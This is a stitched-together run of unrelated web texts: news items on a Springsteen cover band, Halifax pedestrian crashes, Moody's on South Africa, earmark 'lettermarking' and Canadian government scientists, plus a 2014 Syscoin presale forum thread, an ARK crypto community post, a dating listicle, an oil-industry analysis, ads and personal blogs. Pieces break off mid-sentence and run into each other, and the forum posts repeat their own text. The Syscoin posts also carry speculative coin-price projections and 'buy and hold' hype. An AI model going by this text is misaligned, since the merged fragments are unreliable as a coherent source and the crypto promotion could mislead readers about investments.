exist in this set-up, but it seems a matter of luck as much as anything else, with forgiveness perhaps too cheap for some other fairly grave offenders. And then, of course, if there’s no free will, what can sin and justice even mean? It’s a question prodded at but never really answered. Still, who said the universe was fair, or would become so just because you add metaphysics?A prominent Bruce Springsteen cover band, The B-Street Band, will not be performing at an Inauguration event this week following widespread criticism.
The group was set to perform Thursday at the Garden State Presidential Inaugural Gala on the eve of Donald Trump’s swearing in as president, but after a weekend in the media spotlight, its members decided to change course.
“We felt that we had to make it known that we didn’t want to seem disrespectful in any way, shape or form to Bruce and his music and his band,” the band’s keyboardist and manager, Will Forte, said, according to Rolling Stone.
“I don’t want to upset them. We owe everything to him, and our gratitude and respect to the band is imperative above all else. It became clear to us that this wasn’t working and we just had to do what we thought was the right thing to do and that was to pull out.”
The B-Street Band has appeared at the gala twice before -- both times for President Barack Obama -- and had signed on to perform at this year’s event in 2013.
“All this stuff made it clear to us that this event is not worth it,” Forte said of the attention they’ve received. “I’m worn out. The band’s worn out. Everybody loves to have their 15 minutes of fame, but maybe not this way.”Ladies and gentlemen, I could not make this up if I tried. I owe my thanks to Wyatt Patry for sharing this study with me, and to P. Zelda Montoya and Barrett L. Christie at the The Dallas Zoo and Children’s Aquarium for creating “the first known unholy amalgamation of America’s favorite lunchtime treat and live cnidarians”. That’s right folks, on the earth right now are, in fact, peanut butter jellyfish.
“We would love to claim we conducted this trial with noble purpose” Montoya and Christie say, “but the truth is that we just wanted to make peanut butter and jellyfish simply to see if it could |
osphere
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Syscoin- Changing the way people do business.
LegendaryActivity: 1022Merit: 1001Syscoin- Changing the way people do business. Re: [ANN] Syscoin - Business on the Blockchain - Presale Started! July 24, 2014, 03:03:53 AM
Last edit: July 24, 2014, 11:22:14 PM by danosphere #1035 Announcement
After reviewing the impacts of merged mining, reviewing the impacts of regenerated service fees as rewards on top of mining rewards, reviewing the impacts of additional coins on the market introduced via the presale and the fact that some presale buyers may dump their coins as soon as we launch "just because" we have amended the mining schedule as such:
Original:
Mining Reward Schedule
Days @ Reward Level
Cumulative Days Ends @ Blockheight Block Reward 15 15 21600 1024 60 45 64800 768 240 180 280800 512 510 270 669600 384 875 365 1195200 256
Rewards are 128 per block after height 1195200, until the 2bil coins is reached.
UPDATED:
Mining Reward Schedule
Days @ Reward Level
Cumulative Days Ends @ Blockheight Block Reward 180 180 259200 128 360 540 777600 96 720 1260 1814400 80 1080 2340 3369600 64 1440 3780 5443200 48 1800 5580 8035200 40
Rewards are 32 per block after height 8035200, until the 2bil coins is reached.
Another piece of news... Although we are not promising this for launch... We are going to use these 3.5 weeks left in the presale to push as hard as we can to implement and deliver an ESCROW service built into Syscoin for launch. This would be a natural fit to our existing financial services and make our offering all the more robust. After reviewing the impacts of merged mining, reviewing the impacts of regenerated service fees as rewards on top of mining rewards, reviewing the impacts of additional coins on the market introduced via the presale and the fact that some presale buyers may dump their coins as soon as we launch "just because" we have amended the mining schedule as such:Another piece of news...We are going to use these 3.5 weeks left in the presale to pushto implement and deliver an ESCROW service built into Syscoin for launch. This would be a natural fit to our existing financial services and make our offering all the more robust.
Syscoin Website | Syscoin Whitepaper | Syscoin Team Price Peg Syscoin: Business on the Blockchain. - Buy and sell goods and services, send encrypted messages and more all secured by the blockchain.
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Sr. MemberActivity: 378Merit: 250 Re: [ANN] Syscoin - Business on the Blockchain - Presale Started! July 24, 2014, 03:28:54 AM #1037 Quote from: Primitive on July 24, 2014, 03:06:48 AM woah. that's no small change. i like it.
Yep, I'm super happy. Question: I see we get rewards for buying into IPO's like hats and t shirts, ect, what if BTC comes from few different email addresses, but same BTC address? Will all count toward one buy in. Thanks and you guys are doing awesome!!
Saw your work on kittehcoin, and dano was always on top of things, even though kieser killed that coin, this coin and idea is such innovation and rock solid team. Soon as i found out the team involved i bought IPO, and I don't like IPO's. Yep, I'm super happy. Question: I see we get rewards for buying into IPO's like hats and t shirts, ect, what if BTC comes from few different email addresses, but same BTC address? Will all count toward one buy in. Thanks and you guys are doing awesome!!Saw your work on kittehcoin, and dano was always on top of things, even though kieser killed that coin, this coin and idea is such innovation and rock solid team. Soon as i found out the team involved i bought IPO, and I don't like IPO's.
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If you aren't comfortable........
Full MemberActivity: 168Merit: 100If you aren't comfortable........ Re: [ANN] Syscoin - Business on the Blockchain - Presale Started! July 24, 2014, 03:31:54 AM
Last edit: July 24, 2014, 05:28:40 AM by realestmofo #1039 Very interesting.
First 6 months a total of 33,177,600 coins. That is 184,320 a day. At presale price 0.95btc a day.
That should help the market since if the price triples that's still 3btc worth a day being mined. Those buying into the presale and selling higher will help distribute the coins a bit too.
After that the next 360 days which is basically a year is only 24,883,200 total or 259,200 a day. At presale price that is 1.34btc a day.
Year and a half in 58,060,800 total coins + devs + bounties + presale.
Just take the mined coins in the first 18 months and say the price is 2000 (4x more than presale price) sat then market cap for mined coins is 1161btc or $719,820 at current price.
Factor in a sold out presale and devs coins then market cap at 2000 sat will be 8361btc or $5,183,820
And going hard on the escrow system is huge too. Some sellers on market places are requesting money up front because they do not trust anyone else holding the money and they are even looking to start their own private market place. Hopefully they will take a good hard look at Syscoin when it launches. (Although they probably want TOR / anon as much as possible)
Buy and hold. YOU ARE DEAD TO METhe ARK Community is Amazing. Here are 5 Examples why.
It’s time to highlight our great community!
Matthew DC Blocked Unblock Follow Following Mar 28, 2017
Today officially marked the beginning of Delegate Forging Rewards and our hard working delegates will now be rewarded for running the network nodes that power the ARK. The initiation of rewards was an exciting time for our delegates and we can’t wait to see how the 51 forging positions shake out.
Throughout this process, our community has continued to grow and flourish and we have added some extraordinaire members who are already doing amazing things for ARK. I wanted to take this opportunity to highlight some community members who have stepped it up a notch in one way or another to show the kind of community contributions that I think are critical to the ARK development cycle.
Each of the following community members received a personal TIP from me in the amount of 500 ARK for their awesome work. These tips were sent from within the official ARK Slack using our ARKbot tipping system. Want to win free ARK? Do something great for the community or for ARK, post it in Slack, or enter my current “DOTY Design Contest” for a chance to win 1,000 ARK!
ARK Community Spotlight
Okinawa — Delegate Name: doom
Delegate Account // Delegate Proposal
This community member has been hard at work developing videos about ARK for release on his Youtube Channel. He has done an introduction video, a video about mainnet launch, as well as a hilarious anime opening video featuring the ARK Crew. This is the kind of stuff we love to see and I can’t wait to see what he comes up with next!
Jamiec79 — Delegate Name: jamiec79
Delegate Account // Delegate Proposal
This community member has been around from the beginning and has been a great presence within our slack channel. He’s always helpful to new members and we wouldn’t be the same without him. He has recently started up an ARK News site at http://ark-news.com/ and has even posted a couple of Q&A sessions from the team. I look forward to seeing what he writes up next and really like his style.
Kiashaan — Delegate Name: kiashaan
Delegate Account // Delegate Proposal
Kiashaan made the list for thinking outside of the box when it comes to structuring his delegate. His delegate proposal offers a 70% profit share and was well thought out, but what really caught my eye was that he was offering a custom Mousepad for his supporters. Now that is getting in the spirit of ARK and I love it!
Dafty — Delegate Name: dafty
Delegate Account // Delegate Proposal
Dafty is a key member of the ARK Community and is one of our community developers. He is literally working on too many things to even post them all here but is best known as the developer of ARKbot and our Slack tipping system. That alone is worth a spot on this list. Just reading the title of his delegate proposal tells you all you need to know: Profit Share Pool with Monthly Bonus! (Arkbot — Tipbot — Faucet — ArkStats — Telegram Integration).
Toons — Delegate Name: arky
Delegate Account // Delegate Proposal
Toons is another community developer and is the creator of ARKY — A Python Framework for ARK. The ARKY-CLI that he developed is currently being used to power the automation of the majority of the profit sharing pools in the delegation and he has made huge contributions to ARK in just a short time. We are really excited to have him around and can’t wait to see how ARKY will mature over time.
Until Next Time…
Want to be featured in a post like this and earn some ARK? Then join our slack, get on twitter, start brainstorming ideas in our forums, and make something amazing happen. Whether it be a great contest idea, artwork, music, programming, writing, whatever your talent, I’m positive there is a way you can contribute and we want to help you find it. You never know who I am going to tip next, it could easily be YOU!
Side note: This is just a small portion of the great work happening in the ARK community but I had to narrow it down to keep the post from becoming a novel. If you didn’t make it on this one, make sure I see your contributions so I can highlight it next time!
Side side note: Don’t forget to enter the DOTY Design Contest for a chance to win 1,000 ARK. You have until April 1st to enter.Premium socks and underwear delivered to your door monthly
Pick your style and leave the rest to us!
Cotton Club Canada is a premium sock and underwear club that provides monthly relief to your sad sock and underwear collection.
By becoming a member, you will receive 1 pair of premium men’s underwear and 1 pair of stylish men’s dress socks every month. You have the option of choosing between a classic style (more greys and blacks, less designs on the socks) and a modern style (brighter colors, more creative sock designs).
You will be relying on us to choose the exact items that you get, but you can rest assured they will be of utmost quality and style.
We are partnered with high end suppliers of men’s wear, to ensure you get the best quality of products every time.Post Communiqué
By Alex Redmon
The whole thing seemed like a “need-to-know” operation, something out of the alley between too-far-gone and not-too-far-gone-enough. Merely getting your hands on it was a feat alone given the hours they kept. Like a wrong turn on a road trip to nowhere that made the whole affair worthwhile - the kind of idea that’s been romanticized for long enough that it immediately dissolves dispersion.
One night, I approached - edgy but ready. The whole mess was roped off - but seemingly not closed. More than once, I’d seen it closed with someone “cleaning” it before, something I can assure you was really “them” at work. This time though, there was a crowd gathered at the ropes. Immediately, immutable: meat.
"They" were gathered around the table, eating. The only thing you could think about was the smell. Some sort of wretched roast, carved and confined to this room, every way you turned. Still, people walked up to the ropes, mused at the cubby-hole rooms shrouded in darkness behind the table, and walked away.
That’s just how these things go. Countless scraps of paper jotted on to be promptly discarded - an enormous edifice in the sand burned at the end of the weekend. Drunkenly engage, actively and intelligently engage. Just engage. Feel like you’re not just reading the messages, but somehow actively contributing. Watch the wall of T.V.s. Imbibe the distraction, because you control it.
What, in this context, can you believe? The messages, however tongue-in-cheek, seem empowering - until it’s apparent that you’re not changing anything in this miniature world. It’s a board game gone awry that hits damned close to home.
There’s so much to interact with - it always feels more at home to be filmed, that shouldn’t inhibit much. So many people punched in on the time clock, red hotline phone pulsing, absolutely nothing in the “DO NOT OPEN” envelope. Never forget that you’re being followed by the people in the pictures at every turn - it was, after all, “them” that set it all up.
This place felt like a film, but played like a choose-your-own-adventure, something dynamic each time. Something like a weekend bender. Whether you’re a supporting actor or an extra is never entirely clear - just don’t expect to be handed a speaking line. You’d already seen the headshots of the stars - they were taken like mugshots. 8x10s on the table, enormous prints on the wall. You were told who to look for.
So then, am I to believe, that all of these other faces are just happenstance? Unlikely. This whole scene was corroborated by a corrupt collective - it goes deep. They’ve laid out their recruitment material, the propaganda and weapons that they’re leveraging. You might drive away if the car parked in the hall wasn’t full of books, or if the cafe racer at the end of the hall wasn’t made of glass.
Post Communique was part of the “Available Space” component of DMA’s “DallasSITES” exhibit - http://www.dallasmuseumofart.org/PressRoom/dma_528370
It was produced by HOMECOMING!, an assembly of artists - http://homecomingcommittee.com/HALIFAX – Halifax police report four pedestrians have been hit by vehicles within 24 hours.
The latest incident happened at 7:45 p.m. Thursday on Woodlawn Road in Dartmouth. A 40-year-old woman was crossing at Mount Edward Road when she was struck by a vehicle turning left. She was assessed by paramedics and released.
The 39-year-old female driver was ticketed for failing to yield to a pedestrian.
Related Man taken to hospital after being struck by vehicle
At 5 p.m. on Thursday, a 20-year-old woman was struck in a crosswalk on Spring Garden Road. The vehicle’s side mirror hit the woman, spinning her around, then the rear tires ran over the woman’s foot. She was taken to hospital with non-life threatening injuries.
The 40-year-old female driver was charged in the incident. Police said heavy rain and busy traffic may have contributed to the crash.
Earlier in the day, a 24-year-old woman was hit at Upper Water Street. She was crossing at Duke Street when a vehicle swiped her; she was not injured. The 62-year-old male driver stopped to help and, so far, police have not pressed charges.
Then just before 5 a.m. on Thursday, a 56-year-old man was taken to hospital after he was hit near Citadel Hill.
The 66-year-old male driver was ticketed in that case.The Birmingham,Alabama, Board of Education voted 5-3-1 this afternoon to hire eight Filipino teachers to teach math and science in city schools.
The vote came after almost two hours of discussion. Members Phyllis Wyne, Virginia Volker and Martha Wixom cast the dissenting votes; Carolyn Cobb abstained from voting.
Jeff McDaniels, director of human resources for Birmingham city schools, said two of the 10 Filipino teachers originally proposed for hiring by Birmingham have since been recruited to other school systems in the United States.
Four administrators, including McDaniels, spent more than a week in the Philippines in search of math and science teachers. Birmingham administrators say they have a shortage of math and science teachers and traveled to the Philippines through a California-based recruiting firm, Avenida International Consultants.
Avenida paid for the trip, with the stipulation that Birmingham hire at least 10 teachers. The administrators interviewed 89 candidates while in the Philippines and identified 10 to hire now and an additional 10 at a later date.
Revised at 6:10 p.m. to clarify vote total.Electricity shortages, low commodity prices, a severe drought and weaker than expected global growth will constrain South Africa's economy over the next 18 months and are reflected in the government's Baa2 rating, stable outlook, Moody's Investors Service said in a report published today. Uncertainty surrounding the Chinese economy and the broader global outlook, as well as the timing of any tightening of US monetary policy, will make capital flows more volatile and may have a considerable impact on South Africa in the second half of this year.
While Moody's expects South Africa to avoid recession in 2015, the rating agency forecasts growth of only 1.7% in 2015 and 1.9% in 2016, with 3% growth unlikely before 2017 or 2018 at the earliest. Moody's annual South Africa Credit Analysis is available on www.moodys.com. Moody's subscribers can access this report via the link provided at the end of this press release. The rating agency's report is an update to the markets and does not constitute a rating action.
"The South African economy is suffering from the steep fall in commodity prices, the negative impact of which outweighs the benefits of cheaper oil imports," says Kristin Lindow, Senior Vice President and Moody's lead analyst for South Africa's sovereign rating. "We now expect the economy to pick up only modestly this year because the drought that took such a heavy toll on agricultural output in the second quarter will further weaken growth that has already been slowed by electricity shortages."
Energy constraints and weak business confidence have undermined investment in South Africa and hindered the country's growth performance relative to most other emerging markets. Other challenges include a skills shortage in the labor market, economic inequality, low savings and investment rates, difficult industrial relations, over-dependence on natural resources and infrastructure bottlenecks.
In the mining sector, low prices for minerals have weakened companies' earnings at a time when they are having to absorb higher wage and labor costs following a series of protracted strikes. Several companies have already announced mine closures and lay-offs that will result in lower growth and export earnings.
Agriculture -- which accounts for only around 2% of national output -- has been badly hit in 2015 by the effects of the El Nino weather pattern. The impact on South African farming is expected to last for at least another year.
Along with subdued growth, South Africa has seen the unemployment rate persist at 25% or even higher, as labor costs rise and productivity sputters. Consumer demand remains subdued due to expectations of higher inflation and interest rates and relatively high household debt levels, while investment is going through a prolonged slump.
Against this difficult background, however, fiscal planners appear to be succeeding in stabilizing the public finances through spending restraint and efficient tax collection in spite of pressures emanating from the public wage bill and significant investment needs. The Reserve Bank is also keeping inflation broadly in check, despite the weakening of the rand.
Moody's says the government's favorable debt structure and spending discipline are likely to stabilize the government's debt-to-GDP ratio at about 49% over the next year. This estimate takes into account the extra costs associated with the recent public sector wage settlement, which will force the authorities to consider economies in other areas as well as potential tax increases or other revenue measures.Lobbyists already hamstrung by the earmark bans in Congress could be marginalized even more if the Obama administration approves a draft memo that would require agencies to disclose lawmakers’ requests for federal funds.
Earmark bans have been instituted in the House and Senate this year, but the moratorium on the practice has not prevented lawmakers from seeking federal funds for favored projects.
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Lawmakers often contact federal agencies directly in an attempt to influence where money is spent, a practice often dubbed “lettermarking” or “phonemarking.”
The messages from members of Congress are not typically made public, though the press sometimes obtains them through Freedom of Information Act requests. Several lawmakers have been embarrassed when their letters asking for federal funds were disclosed under FOIA, undercutting their stated positions of wanting to cut government spending.
The draft memo from the Obama administration could make disclosure of lettermarking and phonemarking routine — a possibility welcomed by watchdog groups, but feared by lobbyists who make their living off the appropriations process.
Steve Ellis, vice president of the budget watchdog group Taxpayers for Common Sense, praised the administration’s plan and said there is no reason for the requests to be kept secret.
“If a lawmaker or staff wants to make their opinion known to the executive branch about this, that or the other project or provision, then they should stand by that opinion and make it known,” Ellis told The Hill.
“The fight against parochial, special-interest spending is one that we are winning incrementally. I don’t care if lawmakers are less likely to write if they were disclosed, because then I’m sure they shouldn’t have been writing them in the first place,” Ellis said.
The National Journal reported Sunday that the Obama administration has begun to circulate a memo on Capitol Hill that would have all federal agencies release letters from lawmakers that direct agency officials what projects to fund.
“Too often, federal agencies are pressured informally to show special favor to certain parties or interests in the course of agency decisionmaking concerning federal projects, programs, contracts, and grants. Like legislated earmarks, these pressures on agency decisionmaking also undermine the neutral application of merit-based and competitive criteria for the allocation of federal resources,” the memo states, according to the National Journal.
As various earmark bans have taken hold in recent years, K Street has adapted by mastering the competitive grant system used for federal funds. One technique that has been used by lobbyists is to have a lawmaker vouch for their client’s project in a letter to the funding agency, especially if the project would benefit the lawmaker’s constituents.
Under the draft memo, those letters would be disclosed and searchable on the Internet within 30 days of their receipt by the agency. That might make lawmakers shy about defending various projects.
“It will make members of Congress and their staff think twice about writing letters, making calls, holding meetings with federal agencies where pending grants, loans, contracts or cooperative agreements are being decided,” said one appropriations lobbyist.
The lobbyist compared the draft memo to the restrictions the administration placed on lobbyists when it came to stimulus funds. Those rules led several agency officials to minimize or avoid all contact with K Street as they worked to implement the economic recovery package.
Press reports have suggested lettermarking is still used by lawmakers, and the practice has likely become more prevalent because of the earmark ban.
“The moratorium has certainly reduced the practice of earmarks, but it is easily sidestepped through lettermarking and phonemarking practices, which appear to be fairly common, but no one really knows for sure because these are not publicly disclosed,” said Craig Holman, government affairs lobbyist for Public Citizen.
Holman noted the draft memo builds on an executive order by President George W. Bush that ordered agencies not to accept lawmakers’ funding requests unless they were authorized by legislation passed by Congress. Holman said that he feels that the order has been ignored by the agencies, so he hopes Obama is more aggressive with ensuring compliance with the draft memo.
Others are worried that the draft memo would center more of the government’s spending power in the executive branch, rather than on Capitol Hill.
Howard Marlowe, president of the American League of Lobbyists, said his group is concerned that if the memo were issued, it would lead to constituents not asking for congressional help.
“What concerns the American League of Lobbyists about this proposal is its potential to deter constituents from asking their federal-elected officials to support their needs. That is the right of every American that is guaranteed by the Constitution,” Marlowe said.Canada's government should free its scientists to speak to the press, as its US counterpart has.
Media interactions with government scientists have undergone a reversal across North America during the past six years. In the United States, President Barack Obama's administration has directed federal science agencies to develop integrity policies with clear guidelines for scientists who are approached by journalists.
In December, agencies including the US National Science Foundation (NSF) and the US National Oceanic and Atmospheric Administration (NOAA) issued guidelines that promote openness with the press. For instance, NOAA and NSF-funded scientists and staff are free to speak to journalists without first seeking the approval of a public-affairs officer. The NSF's policy states that researchers are free to express their personal views as long as they make clear that they are not speaking on behalf of the agency. And scientists also have right of review over agency publications and press releases that claim to represent their expert opinions. Such policies may not be implemented successfully in all cases, but they show that attitudes have evolved encouragingly since 2006, when charges that then-president George W. Bush's administration had silenced US government researchers made front-page news.
Over the same period, Canada has moved in the opposite direction. Since Prime Minister Stephen Harper's Conservative Party won power in 2006, there has been a gradual tightening of media protocols for federal scientists and other government workers. Researchers who once would have felt comfortable responding freely and promptly to journalists are now required to direct inquiries to a media-relations office, which demands written questions in advance, and might not permit scientists to speak. Canadian journalists have documented several instances in which prominent researchers have been prevented from discussing published, peer-reviewed literature. Policy directives and e-mails obtained from the government through freedom of information reveal a confused and Byzantine approach to the press, prioritizing message control and showing little understanding of the importance of the free flow of scientific knowledge.
The Harper government's poor record on openness has been raised by this publication before (see K. O'Hara Nature 467, 501; 2010), and Nature's news reporters, who have an obvious interest in access to scientific information and expert opinion, have experienced directly the cumbersome approval process that stalls or prevents meaningful contact with Canada's publicly funded scientists. Little has changed in the past two years: rather than address the matter, the Canadian government seems inclined to stick with its restrictive course and ride out all objections.
That position is coming under increasing pressure as a result of the scientific-integrity policies taking shape across the border. The clarity of the US guidelines undercuts the Canadian government's assertion that its own media policies are adequate and have simply been misunderstood. If the Harper government truly embraces public access to publicly funded scientific expertise, then it should do what the Canadian Science Writers' Association and several other organizations have called for in a letter sent to the prime minister on 16 February: “implement a policy of timely and transparent communication” like those used by NOAA and the NSF.
The letter coincided with a symposium, 'Unmuzzling Government Scientists: How to Re-open the Debate', which was held last week at the meeting of the American Association for the Advancement of Science in Vancouver, Canada. With the country taking centre stage as the meeting's host, the Harper government found its media policies in the international spotlight. Scientists and other visitors from around the globe discovered, to their surprise, that Canada's generally positive foreign reputation as a progressive, scientific nation masks some startlingly poor behaviour. The way forward is clear: it is time for the Canadian government to set its scientists free.
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About this article Publication history Published 29 February 2012 DOI https://doi.org/10.1038/483006aThe MTN-Qhubeka team has confirmed that Matt Goss will ride for the South African ProContinental team in 2015. Related Articles MTN-Qhubeka confirms Boasson Hagen signing
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The 27 year-old Australian has struggled during his three years at the Orica-GreenEdge team, winning just two races, but hopes to rediscover the form and motivation that allowed him to win the 2011 Milan-San Remo.
Goss will team-up with other new signings Edvald Boasson Hagen, sprinter Theo Bos, and Tyler Farrar as the team looks to targets the spring Classics and secure a wild card invitation to the 2015 Tour de France.
“I am very excited to be joining Africa’s Pro-Continental outfit, Team MTN-Qhubeka,” Goss said in a statement form the team.
“I think that the foundations and ideas that the team is built on are really inspiring and motivating. Racing and winning as a team, for the sponsors and myself while helping to raise awareness for a great foundation like Qhubeka.”
“I can’t wait to make the most of this opportunity, to win at the highest level throughout the Spring Classics and grand tours. The team being built for 2015 is going to be a fantastic team with great depth, strength and motivation. I come with a lot of experience racing at highest level over the past 8 years and I’m excited to share my knowledge with the new generation of up and coming African riders. I look forward to working with the many other strong riders already part of Team MTN-Qhubeka and the riders joining for 2015.”
Goss has won 17 races during his career and finished second behind Mark Cavendish at the 2011 World Road Race Championships in Copenhagen. However, his move to MTN-Qhubeka marks a turning point his career. Goss was considered as the principle sprinter at Orica-GreenEdge but was unable to compete with Cavendish, Marcel Kittel and André Greipel in the big bunch sprints. He is expected to play a key role in helping Bos in the bunch sprints, while targeting the spring Classics and hillier stages in Grand Tours.
“Matthew Goss is a great addition to our strong focus on the Spring Classics and grand tours next year, he has worked for some of the best sprinters in the world and has won many significant races too,” team manager Douglas Ryder said.
“This commitment to team work and team success is what will help Team MTN-Qhubeka become more successful and bring our more than 50% African rider group to a higher lever as we continue to race for the #BicyclesChangeLives campaign.”The beginning of dating is like a wildlife safari. By your third expedition (date), you're probably on the lookout for the rare sighting that is an indication that bae actually likes you as a human woman, and not just a person to play "Hide The Salami" with.
When you are crushing on the guy you're seeing, of course you want to know if he's into you, too. It's smart to invest your feels wisely. If you're wondering, "Does he like me?" know that there are some things guys who are actually into you will do differently.
It can be hard to tell, and the reality is that everyone shows their feelings differently. If I really dig someone, I will walk the other way if I see them on the street. (Very counterproductive; not recommended.) The rare prize — a guy who's truly into you — might show his interest in some very tiny ways.
As always, the men of Reddit had some honest input on the matter. Elite Daily also spoke to dating expert Eric Resnick for some additional tips. Here are 11 tiny things guys who are actually into you will do differently.
1. Make An Excuse To See You Multiple Days In A Row
When you like someone, you want to spend as much time with them as possible, right? Guys are exactly the same. Even commitment phobes will eventually make an effort to spend more than one day in a row with you if they really like you.
Resnick explains that a guy who likes you will be more interested in seeing you again than getting you in bed that night. Maybe he goes old school and leaves his watch at your place, or maybe he mentions he's "in the neighborhood tomorrow for a dentist appointment."
If he's texting you once a week and that's it? He's probably just not that into you.
2. Text You To Make Sure You Got Home Safe
Being a gentleman takes work, you know? In my experience, the dudes who took the seven seconds to check in to make sure I got home safe post-date were the ones who stuck around for a while.
If you arrive home to a concise, adorable "home safe?" text, he cares about you and wants to be sure you didn't get murdered. He's a keeper.
3. Tease You For Your Taste In Beer
Or your taste in movies. Or your inability to handle spicy foods. As long as they are not actually being mean, if a guy is teasing you, he probably has a crush on you. This guy on Reddit confirms that when he likes someone, he will:
Middle school flirting lives. Take note.
4. Ignore Twitter And Work Emails
Resnick says that a major sign that a guy is actually into you is that he will simply put his phone down and focus on you. Even if he's a secret agent for the CIA, if he's into you, he wants to look at you, talk to you, and connect with you more than he wants to connect with his suggested connections on LinkedIn.
When a guy keeps his phone down and doesn't whip it out the second he goes to the bathroom, he's into you.
5. Let You Have The Last Piece Of Sashimi
Being offered that lone piece of salmon sashimi left on our sushi boat is my favorite kind of gentlemanly gesture.
Early on in dating, if he offers you the last bite, he's a guy with nice manners who might just want to F you. On date 15 though, when you are more comfortable with each other and he still gives you dibs, he cares about seeing you smile. He's into it, and you should be, too.
6. Look To Your Reaction After Making A Joke
This is very real. If a guy is into you, when he cracks a joke or mentions a cool new job he is interviewing for and then immediately looks to see what your reaction is, he cares about your opinion of him.
If a guy cares about your opinion of him, he probably likes and respects you. Watch his eyeline (but not in a creepy way).
7. Accidentally "Like" Your Instagram From 2014
When you get a "like" notification from "aturner94" on a Hefe-filtered photo with approximately 12 likes from before you even knew how to use Instagram, and then you check and it's disappeared, he was checking you out. This is not creepy — let's face it, we've all done it — but it's definitely a sign that he wants to learn more about you.
Don't call him out on this super cute "oopsie." He'll be mortified.
8. Get Super Awkward Out Of Nowhere
Middle school is a recurring theme here. Those butterflies are real and guys feel them, too. This guy was very honest about how he feels around women he is actually into:
I'm not suggesting your date needs to start speaking in tongues at dinner, or lose his balance on the way to the bathroom, but if you notice some shy, nervous, rapid-fire question asking on his part, he might just be feeling all of the feels. Adorable AF.
9. Not Look Directly Into Your Eyes
Sounds backwards, right? If he really, really likes you, doesn't he want to get lost in your big beautiful eyeballs? Not necessarily. Early on, he might feel intimidated by making direct eye contact. Looking into each others eyes is as intimate as it gets. This guy put it perfectly, when he likes someone he will:
I do this, too. Crushes turn us into little kids, and it makes my heart melt like an ice cream cone in August.
10. Introduce You To His Friends
OK, so this isn't necessarily a tiny thing, but it's a surefire sign that bae is actually into you. Bro-cults are very sacred, and cannot be broken up by a female sorceress who's going to steal one of the crew on Saturdays (which, obviously, are for the boys). If he's introducing you to his pals, he likes you.
"This means that he wants his friends' opinion on you, which is a solid indicator that he's really interested," says Resnick.
11. Get Real With You
Some men are open and share all of their family history and feelings off the bat; others are more guarded with those things. Either way, if your dude is dropping his swag and letting you in, he likes you.
"Unfortunately, a lot of guys start off trying to seem a little elusive at first. It's one part power play and one part fear of looking too needy," says Resnick. "When he actually likes you, he'll drop that wall. He'll usually respond to texts faster, and he'll show more interest in your life and being a part of it."
The little hints that mean the guy you are dating is really into you might look different than what I listed above. My biggest advice is: Don't overanalyze. If a guy likes you, you'll know.
All of this adorableness really makes me want to find a new crush and feel all of the butterflies, so I'm going to go do that. Keep crushing it, ladies.Editor’s note: An update in the form of a provided statement appears at the end of this piece.
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Heidi Hemmat at KDVR Fox 31 in Denver has largely covered business |
explosive rate, helping to lift the US economy out of the Great Recession.
The latest data shows that “tight oil” production has jumped to 3.7m barrels a day (b/d) from half a million in 2009. The Bakken field in North Dakota alone pumped 1m b/d in May, equivalent to Libya’s historic levels of supply. Shale gas output has risen from three billion cubic feet to 35 billion in just seven years. The EIA said America will increase its lead as the world’s largest producer of oil and gas combined this year, far ahead of Russia or Saudi Arabia.
However, the administration warned in May that “continued declines in cash flow, particularly in the face of rising debt levels, could challenge future exploration and development”. It said that upstream costs of exploring and drilling have been surging, causing companies to raise long-term debt by 9pc in 2012, and 11pc last year.
Upstream costs rose by 12pc a year from 2000 to 2012 due to rising rig rates, deeper water depths, and the costs of seismic technology. This was disguised as China burst onto the world scene and powered crude prices to record highs. Major disruptions in Libya, Iraq, and parts of Africa have since prevented oil from falling much below $100, even though other commodities have been in the doldrums. But even flat prices for three years have exposed how vulnerable the whole oil and gas edifice is becoming.
The major companies are struggling to find viable reserves, forcing them take on ever more leverage to explore in marginal basins, often gambling that much higher prices in the future will come to the rescue. Global output of conventional oil peaked in 2005 despite huge investment.
Steven Kopits from Douglas-Westwood said the productivity of new capital spending has fallen by a factor of five since 2000. “The vast majority of public oil and gas companies require oil prices of over $100 to achieve positive free cash flow under current capex and dividend programmes. Nearly half of the industry needs more than $120,” he said.
Analysts are split over the giant Petrobras project off the coast of Brazil, described by Citigroup as the “single-most important source of new low-cost world oil supply.” The ultra-deepwater fields lie below layers of salt, making seismic imaging very hard. They will operate at extreme pressure at up to three thousand meters, 50pc deeper than BP’s disaster in the Gulf of Mexico.
Petrobras is committed to spending $102bn on development by 2018. It already has $112bn of debt. The company said its break-even cost on pre-salt drilling so far is $41 to $57 a barrel. Critics say some of the fields may in reality prove to be nearer $130. Petrobras’s share price has fallen by two-thirds since 2010.
The global oil and gas nexus is clearly over-extended and could face a severe crunch if oil prices slip towards $80. A growing number of experts say it would be wiser to shrink the industry to a profitable core, returning revenues from existing ventures to shareholders and putting some companies into partial “run-off” rather than risking fresh money on projects that may prove to be ruinous white elephants.
The International Energy Agency in Paris says global investment in fossil fuel supply rose from $400bn to $900bn during the boom from 2000 and 2008, doubling in real terms. It has since levelled off, reaching $950bn last year. The returns have been meagre. Not a single large oil project has come on stream at a break-even cost below $80 a barrel for almost three years.
A study by Carbon Tracker said companies are committing $1.1 trillion over the next decade to projects requiring prices above $95 to make money. Some of the Arctic and deepwater projects have a break-even cost near $120. “The oil majors like Shell are having to replace cheap legacy reserves with new barrels from much more difficult places,” said Mark Lewis from Kepler Cheuvreux.
The new worry is that many companies will be left with “stranded assets” as climate accords kick in. The IEA says companies have booked assets that can never be burned if there is a deal limit to C02 levels to 450 (PPM), a serious political risk for the industry. Estimates vary but Mr Lewis said this could reach $19 trillion for the oil nexus, and $28 trillion for all forms of fossil fuel.
For now the major oil companies are mostly pressing ahead with their plans. ExxonMobil began drilling in Russia’s Arctic ‘High North’ last week with its partner Rosneft, even though Rosneft is on the US sanctions list.
“Exxon must be doing a lot of soul-searching as they get drawn deeper into this,” said one oil veteran with intimate experience of Russia. “We don’t think they ever make any money in the Arctic. It is just too expensive and too difficult.”
Will Russian tensions hike oil prices?Invisible corner: That area in your home that has had accumulated random shit in it for so long that it’s become part of the landscape. Often found in corners, at the end of counters, or, really, anywhere. It’s been there long enough that your eye doesn’t even register it when you look around.
So what do you do when your invisible corner isn’t just a corner anymore?
Let me tell you about my spare room. I have one extra bedroom that has no necessary purpose. It is, in the very strictest sense, an office, in that the printer and filing cabinet are in there. But it’s a room that has a door and that can be entirely ignored unless I make an effort to remind myself of its existence. And, as such, it has become what all spare rooms at one time become: a place to stash crap. It has, at times, held the following: the treadmill (which I actually use, so I don’t feel that guilty about), bags of clothes for donation, boxes of papers to be shredded, clothes that rarely get worn, boxes of random stuff that haven’t been unpacked since the last move, odd bits of furniture, and every single thing I don’t feel like dealing with at the moment.
